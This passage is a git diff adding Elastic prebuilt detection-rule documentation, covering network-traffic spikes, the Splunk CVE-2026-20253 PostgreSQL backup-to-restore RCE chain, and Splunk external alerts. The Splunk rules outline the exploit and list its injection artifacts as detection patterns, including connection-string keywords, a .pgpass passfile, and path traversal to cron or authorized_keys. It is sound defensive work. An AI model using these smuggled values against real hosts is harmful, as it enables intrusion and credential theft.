https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Network Packet Capture Integration Setup* + +The Network Packet Capture integration sniffs network packets on a host and dissects known protocols. Monitoring the network traffic is critical to gaining observability and securing your environment — ensuring high levels of performance and security. The Network Packet Capture integration captures the network traffic between your application servers, decodes common application layer protocols and records the interesting fields for each transaction. + + +*The following steps should be executed in order to add the Elastic Agent System integration "network_traffic" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Network Packet Capture” and select the integration to see more details about it. +- Click “Add Network Packet Capture”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “network_traffic” to an existing or a new agent policy, and deploy the agent on your system from which network log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/network_traffic[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over C2 Channel +** ID: T1041 +** Reference URL: https://attack.mitre.org/techniques/T1041/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Scanning IP Blocks +** ID: T1595.001 +** Reference URL: https://attack.mitre.org/techniques/T1595/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-spike-in-network-traffic.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-spike-in-network-traffic.asciidoc new file mode 100644 index 0000000000..4c4c834541 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-spike-in-network-traffic.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-34-spike-in-network-traffic]] +=== Spike in Network Traffic + +A machine learning job detected an unusually large spike in network traffic. Such a burst of traffic, if not caused by a surge in business activity, can be due to suspicious or malicious activity. Large-scale data exfiltration may produce a burst of network traffic; this could also be due to unusually large amounts of reconnaissance or enumeration traffic. Denial-of-service attacks or traffic floods may also produce such a surge in traffic. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Data Source: Elastic Defend +* Data Source: Network Packet Capture +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide +* Domain: Network +* Domain: Endpoint + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Network Traffic* + +Machine learning models analyze network traffic patterns to identify anomalies, such as unexpected spikes. These spikes may indicate malicious activities like data exfiltration or denial-of-service attacks. Adversaries exploit network vulnerabilities to flood traffic or extract data. The 'Spike in Network Traffic' rule leverages ML to flag unusual traffic surges, aiding in early threat detection and response. + + +*Possible investigation steps* + + +- Review the timestamp and duration of the traffic spike to determine if it correlates with any scheduled business activities or known events. +- Analyze the source and destination IP addresses involved in the traffic spike to identify any unfamiliar or suspicious entities. +- Examine the types of network protocols and services involved in the spike to assess if they align with typical network usage patterns. +- Check for any recent changes in network configurations or security policies that might explain the unusual traffic patterns. +- Investigate any associated user accounts or devices to determine if they have been compromised or are exhibiting unusual behavior. +- Cross-reference the spike with other security alerts or logs to identify potential patterns or related incidents. + + +*False positive analysis* + + +- Business-related traffic surges: Regular spikes due to legitimate business activities, such as marketing campaigns or software updates, can trigger false positives. Users should analyze historical traffic patterns and create exceptions for known business events. +- Scheduled data backups: Routine data backups can cause significant network traffic. Users can exclude these by identifying backup schedules and configuring the rule to ignore traffic during these times. +- Software updates and patches: Large-scale updates from software vendors can lead to temporary traffic spikes. Users should maintain a list of update schedules and whitelist these events to prevent false alerts. +- Internal network scans: Regular security scans or inventory checks within the organization may cause traffic spikes. Users should document these activities and adjust the rule to recognize them as non-threatening. +- Cloud service synchronization: Synchronization activities with cloud services can generate high traffic volumes. Users should identify and exclude these regular sync patterns to reduce false positives. + + +*Response and remediation* + + +- Immediately isolate affected systems from the network to prevent further data exfiltration or traffic flooding. +- Conduct a thorough analysis of network logs to identify the source and destination of the traffic spike, focusing on any unauthorized or suspicious IP addresses. +- Block identified malicious IP addresses and domains at the firewall and update intrusion prevention systems to prevent further access. +- If data exfiltration is suspected, perform a data integrity check to assess any potential data loss or compromise. +- Notify the incident response team to assess the situation and determine if further escalation is necessary, including potential involvement of law enforcement if data theft is confirmed. +- Review and update network access controls and permissions to ensure only authorized users and devices have access to sensitive data and systems. +- Implement enhanced monitoring and alerting for similar traffic patterns to improve early detection and response to future incidents. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Network Packet Capture + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Network Packet Capture Integration Setup* + +The Network Packet Capture integration sniffs network packets on a host and dissects known protocols. Monitoring the network traffic is critical to gaining observability and securing your environment — ensuring high levels of performance and security. The Network Packet Capture integration captures the network traffic between your application servers, decodes common application layer protocols and records the interesting fields for each transaction. + + +*The following steps should be executed in order to add the Elastic Agent System integration "network_traffic" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Network Packet Capture” and select the integration to see more details about it. +- Click “Add Network Packet Capture”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “network_traffic” to an existing or a new agent policy, and deploy the agent on your system from which network log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/network_traffic[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over C2 Channel +** ID: T1041 +** Reference URL: https://attack.mitre.org/techniques/T1041/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Network Denial of Service +** ID: T1498 +** Reference URL: https://attack.mitre.org/techniques/T1498/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-splunk-enterprise-postgresql-backup-to-restore-potential-rce-sequence.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-splunk-enterprise-postgresql-backup-to-restore-potential-rce-sequence.asciidoc new file mode 100644 index 0000000000..0e31ad5250 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-splunk-enterprise-postgresql-backup-to-restore-potential-rce-sequence.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-34-splunk-enterprise-postgresql-backup-to-restore-potential-rce-sequence]] +=== Splunk Enterprise PostgreSQL Backup-to-Restore Potential RCE Sequence + +Detects a POST to the Splunk Enterprise PostgreSQL backup endpoint followed by a POST to the restore endpoint from the same client to the same host within a 15-minute window. This sequence is unusual and can align with the public CVE-2026-20253 pre-authentication RCE chain, where an attacker stages a database dump via the backup path and executes attacker-controlled SQL via the restore path. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-19m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 5 + +*References*: + +* https://nvd.nist.gov/vuln/detail/CVE-2026-20253 +* https://advisory.splunk.com/advisories/SVD-2026-0603 +* https://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/ +* https://attack.mitre.org/techniques/T1190/ + +*Tags*: + +* Domain: Network +* Use Case: Threat Detection +* Use Case: Vulnerability +* Use Case: Network Security Monitoring +* Tactic: Initial Access +* Data Source: Network Packet Capture +* Data Source: Network Traffic +* Data Source: Zeek +* Data Source: Suricata +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: ES|QL +* Vuln: CVE-2026-20253 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Splunk Enterprise PostgreSQL Backup-to-Restore Potential RCE Sequence* + + +This rule fires when the same source IP sends a POST to both the `/backup` and `/restore` recovery +endpoints on the same Splunk host within 15 minutes. This two-step sequence is unusual and aligns with +the watchTowr CVE-2026-20253 RCE chain: the backup request can place an attacker-controlled +PostgreSQL dump on the Splunk filesystem (using `backupFile` path traversal or absolute path +injection), and the restore request can load that dump and execute attacker-controlled SQL through the +local PostgreSQL instance. A backup-plus-restore pair from an unrecognized source IP on a production +Splunk host should be investigated as potential exploitation. + + +*Possible investigation steps* + + +- Review `http.response.status_code` for both requests. A `400` on the backup step indicates the + sidecar handler was reached (the request parsed but failed), consistent with a vulnerable host. +- Check whether the backup request body (if captured by a WAF or proxy) contains `hostaddr=`, + `host=`, or `passfile=` in the `database` field, or path traversal (`../`) or absolute paths + in the `backupFile` field. These are the connection-string injection and file-placement artifacts + specific to this exploit chain. +- Correlate with host telemetry on the Splunk server: look for new or modified files under + `/opt/splunk/etc/apps/`, `/opt/splunk/var/packages/`, or `/tmp/` around the time of the requests. +- Check for Splunk process execution of `pg_dump` or `pg_restore` with unusual arguments, + particularly connection strings containing external hostnames or IP addresses. +- Check for outbound network connections from the Splunk host to external PostgreSQL services + (port 5432 or similar) following the backup request — this indicates successful connection-string + injection causing the server to pivot to an attacker-controlled database. +- Verify whether the target Splunk host is running an affected version (10.0.0–10.0.6 or + 10.2.0–10.2.3). Splunk Enterprise 10.4 and Splunk Cloud are not affected. + + +*False positive analysis* + + +- Authorized administrative recovery operations using the sidecar API. These should originate from + known management IPs; create exceptions for approved management network ranges. +- Red-team or vulnerability management tooling that runs a full backup-to-restore probe as part of + a CVE-2026-20253 exposure check. + + +*Response and remediation* + + +- Treat a confirmed backup-and-restore sequence from an unrecognized source as active exploitation. + Isolate the Splunk host from the network immediately and preserve forensic state. +- Examine the Splunk host for new or modified files, scheduled tasks, and PostgreSQL extension + objects that may have been placed by the restore step. +- Patch Splunk Enterprise to an unaffected version (SVD-2026-0603). There is no vendor-provided + workaround; patching is the only mitigation. +- Block Splunk Web port (default 8000) at the perimeter and restrict access to management networks + while patching is in progress. + + +==== Setup + + + +*Setup* + + +This rule requires HTTP request metadata with `url.path` and `http.request.method` populated from +one of the following sources visible to the sensor without TLS decryption: +- Zeek (`logs-zeek.http*`) where Splunk Web traffic is cleartext or the sensor is downstream of TLS + termination. +- Suricata (`logs-suricata.eve*`) in the same deployment conditions +- Elastic Agent `network_traffic` integration (`logs-network_traffic.http*`) with HTTP parsing enabled + +Splunk Web listens on TCP port 8000 by default (`web.conf` `httpport`), which is included in the +default Network Packet Capture/Packetbeat HTTP port list. Add any custom Splunk Web `httpport` value +to the HTTP protocol configuration. Splunk's management service defaults to TCP port 8089 +(`mgmtHostPort`) and commonly uses TLS; add 8089 only if management/API traffic is directly exposed or +visible to the sensor after decryption. If the PostgreSQL sidecar is directly exposed or monitored +locally on TCP port 5435, add port 5435 as an HTTP port as well. Zeek and Suricata can identify +plaintext HTTP on non-standard ports through protocol detection when their HTTP analyzers are enabled. +For TLS deployments, the sensor must observe decrypted HTTP, sit downstream of TLS termination, or use +proxy or load balancer logs that expose the HTTP path, method, and status code. + +The rule uses a 19-minute lookback and verifies that the first and last matching recovery events are +no more than 15 minutes apart. Ensure `event.ingested` is populated and `timestamp_override` is set. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-network_traffic.http*, logs-zeek.http*, logs-suricata.eve* +| where http.request.method == "POST" + and ( + url.path like "*splunkd/__raw/v1/postgres/recovery/*" or + url.path like "/v1/postgres/recovery/*" + ) +| eval Esql.is_backup = case(url.path like "*/backup", 1, 0) +| eval Esql.is_restore = case(url.path like "*/restore", 1, 0) +| stats + Esql.backup_count = SUM(Esql.is_backup), + Esql.restore_count = SUM(Esql.is_restore), + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp), + Esql.statuses = VALUES(http.response.status_code) + by source.ip, destination.ip +| eval Esql.duration_minutes = DATE_DIFF("minute", Esql.first_seen, Esql.last_seen) +| where Esql.backup_count >= 1 and Esql.restore_count >= 1 + and Esql.duration_minutes <= 15 +| keep source.ip, destination.ip, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-splunk-enterprise-postgresql-recovery-endpoint-injection-artifacts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-splunk-enterprise-postgresql-recovery-endpoint-injection-artifacts.asciidoc new file mode 100644 index 0000000000..f2e692a711 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-splunk-enterprise-postgresql-recovery-endpoint-injection-artifacts.asciidoc @@ -0,0 +1,242 @@ +[[prebuilt-rule-8-19-34-splunk-enterprise-postgresql-recovery-endpoint-injection-artifacts]] +=== Splunk Enterprise PostgreSQL Recovery Endpoint Injection Artifacts + +Detects CVE-2026-20253 exploit artifacts against the Splunk Enterprise PostgreSQL sidecar recovery endpoints via complementary signals. Where endpoint or Network Packet Capture request-body logging is available, the rule matches PostgreSQL connection-string injection keywords, suspicious `backupFile` destinations, and known filesystem artifacts used to pivot from backup/restore primitives to file write or RCE. It also detects vulnerable recovery endpoint probing and empty-password Basic auth credentials observed in public exploit tooling. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-network_traffic.http* +* logs-zeek.http* +* logs-suricata.eve* +* logs-azure.application_gateway* +* logs-gcp.loadbalancing_logs* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nvd.nist.gov/vuln/detail/CVE-2026-20253 +* https://advisory.splunk.com/advisories/SVD-2026-0603 +* https://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/ +* https://attack.mitre.org/techniques/T1190/ + +*Tags*: + +* Domain: Network +* Use Case: Threat Detection +* Use Case: Vulnerability +* Use Case: Network Security Monitoring +* Tactic: Initial Access +* Data Source: Azure +* Data Source: Elastic Defend +* Data Source: GCP +* Data Source: Google Cloud Platform +* Data Source: Network Packet Capture +* Data Source: Network Traffic +* Data Source: Zeek +* Data Source: Suricata +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Domain: Cloud +* Platform: GCP +* Domain: Endpoint +* Vuln: CVE-2026-20253 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Splunk Enterprise PostgreSQL Recovery Endpoint Injection Artifacts* + + +This rule fires on distinct signals from the CVE-2026-20253 exploit chain and closely related recovery endpoint abuse: + +**Body injection** (endpoint/WAF/proxy sources): A POST to the recovery endpoints with a body +containing PostgreSQL connection-string keywords (`hostaddr=`, `host=`, `port=`, `passfile=`, +`dbname=`, `user=`, `password=`, `sslmode=`, or `service=`), `backupFile` path traversal, suspicious +absolute destinations (`/tmp/`, `/var/tmp/`, `/dev/shm/`, `/opt/splunk/etc/apps/`, cron paths, or SSH +authorized keys), or known filesystem artifacts (`.pgpass`, `/opt/splunk/etc/apps/`). The `database` +JSON field is passed directly to `pg_dump` or `pg_restore` as a connection string, so +attacker-supplied keywords override the hardcoded local configuration. The `backupFile` parameter +controls the dump file path, enabling arbitrary file placement. + +**Auth credential artifact** (Zeek sources): A POST to the recovery endpoints with an empty password +in the HTTP Basic auth header (`url.password : ""`). The exploit passes the Basic auth username +directly to `pg_dump` or `pg_restore` as a PostgreSQL username — any value works, so this branch does +not filter on specific usernames. + +**Vulnerable endpoint probing**: A POST to `/v1/postgres/recovery/backup` or +`/v1/postgres/recovery/restore` returning HTTP 400. Public probes use this response distinction because +vulnerable handlers parse the request and return 400, while patched or protected paths return 401. + + +*Possible investigation steps* + + +- Check `http.response.status_code`. A `400` indicates the request reached the vulnerable sidecar + handler; a `401` indicates access was blocked or the host is patched. A `400` on the backup or + restore path is consistent with probing, and a `400` with injection content in the body is a + high-confidence indicator of active exploitation. +- Identify which injection artifact triggered the rule: + - `hostaddr=` or `host=` in `database` → server-side database pivot; check for outbound connections + from the Splunk host to port 5432 or the attacker-supplied `port=` value. + - `port=`, `user=`, `password=`, `sslmode=`, or `service=` in `database` → generic libpq connection + string smuggling; review the full body for remote database or credential manipulation. + - `passfile=/opt/splunk/var/packages/data/postgres/.pgpass` → local PostgreSQL credential reuse; + this exact string is the public restore-chain artifact from watchTowr. + - `backupFile` with `../` traversal or suspicious absolute paths (`/tmp/`, `/var/tmp/`, `/dev/shm/`, + `/opt/splunk/etc/apps/`, cron paths, or SSH authorized keys) → arbitrary file placement; check for + new or modified files at those paths. + - `dbname=template1` with `passfile=` → the published two-stage restore payload. +- Correlate with host telemetry: new files under `/opt/splunk/etc/apps/`, `/opt/splunk/var/packages/`, + or `/tmp/` created around the request time. +- Check for outbound PostgreSQL connections from the Splunk host following any `hostaddr=` or `host=` + injection (see companion rule "Splunk Enterprise PostgreSQL Backup-to-Restore Potential RCE Sequence"). +- Verify whether the target Splunk host is running an affected version (10.0.0-10.0.6 or + 10.2.0-10.2.3). Splunk Enterprise 10.4 and Splunk Cloud are not affected. + + +*False positive analysis* + + +- No legitimate Splunk user workflow sends PostgreSQL connection-string keywords or filesystem paths + to these recovery endpoints. This rule has very low false positive potential when the path filter + is in scope. + + +*Response and remediation* + + +- Any confirmed body injection on the recovery endpoints should be treated as active exploitation. + Isolate the Splunk host immediately and preserve forensic state. +- Check for files placed by `backupFile` traversal and SQL objects loaded by the restore step. +- Patch Splunk Enterprise to an unaffected version. There is no vendor-provided workaround for + CVE-2026-20253. + + +==== Setup + + + +*Setup* + + +This rule covers two detection paths with different telemetry requirements: + +**Body injection branch** (`http.request.body.content`): Populated by: +- Elastic Defend (`logs-endpoint.events.network*`) on the Splunk host, capturing HTTP network + events at the endpoint level +- Network Packet Capture (`logs-network_traffic.http*`) with HTTP body capture enabled for the + Splunk recovery paths + +Avoid enabling broad request-body logging without masking or filtering — bodies can contain +credentials and PII. Scope capture to specific URL paths (e.g., `*/splunkd/*`) where possible. + +**Auth artifact branch** (`url.password`, `url.username`): Populated by: +- Zeek (`logs-zeek.http*`) - parses HTTP Basic auth headers natively, no additional configuration + +**Vulnerable endpoint probing branch** (`http.response.status_code`): Populated by Network Packet +Capture, Zeek, Suricata, Azure Application Gateway, and GCP Load Balancing where HTTP response +metadata is visible to the sensor. + +Splunk Web listens on TCP port 8000 by default (`web.conf` `httpport`), which is included in the +default Network Packet Capture/Packetbeat HTTP port list. Add any custom Splunk Web `httpport` value +to the HTTP protocol configuration. Splunk's management service defaults to TCP port 8089 +(`mgmtHostPort`) and commonly uses TLS; add 8089 only if management/API traffic is directly exposed or +visible to the sensor after decryption. If the PostgreSQL sidecar is directly exposed or monitored +locally on TCP port 5435, add port 5435 as an HTTP port as well. Zeek and Suricata can identify +plaintext HTTP on non-standard ports through protocol detection when their HTTP analyzers are enabled. +For TLS deployments, the sensor must observe decrypted HTTP, sit downstream of TLS termination, or use +proxy or load balancer logs that expose the HTTP path, method, and status code. Body-content detection +still requires request-body capture for the Splunk recovery paths. + +Use the companion rule "Splunk Enterprise PostgreSQL Backup-to-Restore Potential RCE Sequence" for detections that work without +request-body capture or auth header logging. + + +==== Rule query + + +[source, js] +---------------------------------- +http.request.method:POST and +url.path:("*splunkd/__raw/v1/postgres/recovery/*" or "/v1/postgres/recovery/*") and +( + http.request.body.content:( + "*\"backupFile\"*../*" or + "*\"backupFile\"*/dev/shm/*" or + "*\"backupFile\"*/etc/cron*" or + "*\"backupFile\"*/home/*/.ssh/*" or + "*\"backupFile\"*/opt/splunk/bin/scripts/*" or + "*\"backupFile\"*/opt/splunk/etc/apps/*" or + "*\"backupFile\"*/root/*" or + "*\"backupFile\"*/tmp/*" or + "*\"backupFile\"*/var/tmp/*" or + "*\"backupFile\"*authorized_keys*" or + "*\"database\"*dbname=*" or + "*\"database\"*host=*" or + "*\"database\"*hostaddr=*" or + "*\"database\"*passfile=*" or + "*\"database\"*password=*" or + "*\"database\"*port=*" or + "*\"database\"*service=*" or + "*\"database\"*sslmode=*" or + "*\"database\"*user=*" or + "*/opt/splunk/etc/apps/*" or + "*/opt/splunk/var/packages/data/postgres/.pgpass*" + ) or + data_stream.dataset:zeek.http and url.password:"" or + data_stream.dataset:(azure.application_gateway or gcp.loadbalancing_logs or network_traffic.http or suricata.eve or zeek.http) and + url.path:( + "*splunkd/__raw/v1/postgres/recovery/backup" or + "*splunkd/__raw/v1/postgres/recovery/restore" or + /v1/postgres/recovery/backup or + /v1/postgres/recovery/restore + ) and + http.response.status_code:400 +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-splunk-external-alerts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-splunk-external-alerts.asciidoc new file mode 100644 index 0000000000..f3d1177d09 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-splunk-external-alerts.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-34-splunk-external-alerts]] +=== Splunk External Alerts + +Generates a detection alert for each Splunk alert written to the configured indices. Enabling this rule allows you to immediately begin investigating Splunk alerts in the app. + +*Rule type*: query + +*Rule indices*: + +* logs-splunk.alert-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://docs.elastic.co/en/integrations/splunk + +*Tags*: + +* Data Source: Splunk +* Use Case: Threat Detection +* Resources: Investigation Guide +* Promotion: External Alerts +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Data Source: Splunk Forwarded Events +* Domain: Network + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Splunk External Alerts* + + +Splunk monitors and analyzes data, often used in security environments to track and respond to potential threats. The rule identifies such manipulations by flagging alerts enabling timely investigation and response. + + +*Possible investigation steps* + + +- Examine the specific indices where the alert was written to identify any unusual or unauthorized activity. +- Cross-reference the alert with recent changes or activities in the Splunk environment to determine if the alert could be a result of legitimate administrative actions. +- Investigate the source and context of the alert to identify any patterns or anomalies that could indicate manipulation or false positives. +- Check for any related alerts or logs that might provide additional context or evidence of adversarial behavior. +- Consult the Splunk investigation guide and resources tagged in the alert for specific guidance on handling similar threats. + + +*False positive analysis* + + +- Alerts triggered by routine Splunk maintenance activities can be false positives. To manage these, identify and document regular maintenance schedules and create exceptions for alerts generated during these times. +- Frequent alerts from specific indices that are known to contain non-threatening data can be excluded by adjusting the rule to ignore these indices, ensuring only relevant alerts are investigated. +- Alerts generated by automated scripts or tools that interact with Splunk for legitimate purposes can be false positives. Review and whitelist these scripts or tools to prevent unnecessary alerts. +- If certain user actions consistently trigger alerts but are verified as non-malicious, consider creating user-specific exceptions to reduce noise and focus on genuine threats. +- Regularly review and update the list of exceptions to ensure they remain relevant and do not inadvertently exclude new or evolving threats. + + +*Response and remediation* + + +- Immediately isolate affected systems to prevent further manipulation of Splunk alerts and potential spread of malicious activity. +- Review and validate the integrity of the Splunk alert indices to ensure no unauthorized changes have been made. +- Restore any compromised Splunk alert configurations from a known good backup to ensure accurate monitoring and alerting. +- Conduct a thorough audit of user access and permissions within Splunk to identify and revoke any unauthorized access. +- Escalate the incident to the security operations center (SOC) for further analysis and to determine if additional systems or data have been affected. +- Implement enhanced monitoring on Splunk indices to detect any future unauthorized changes or suspicious 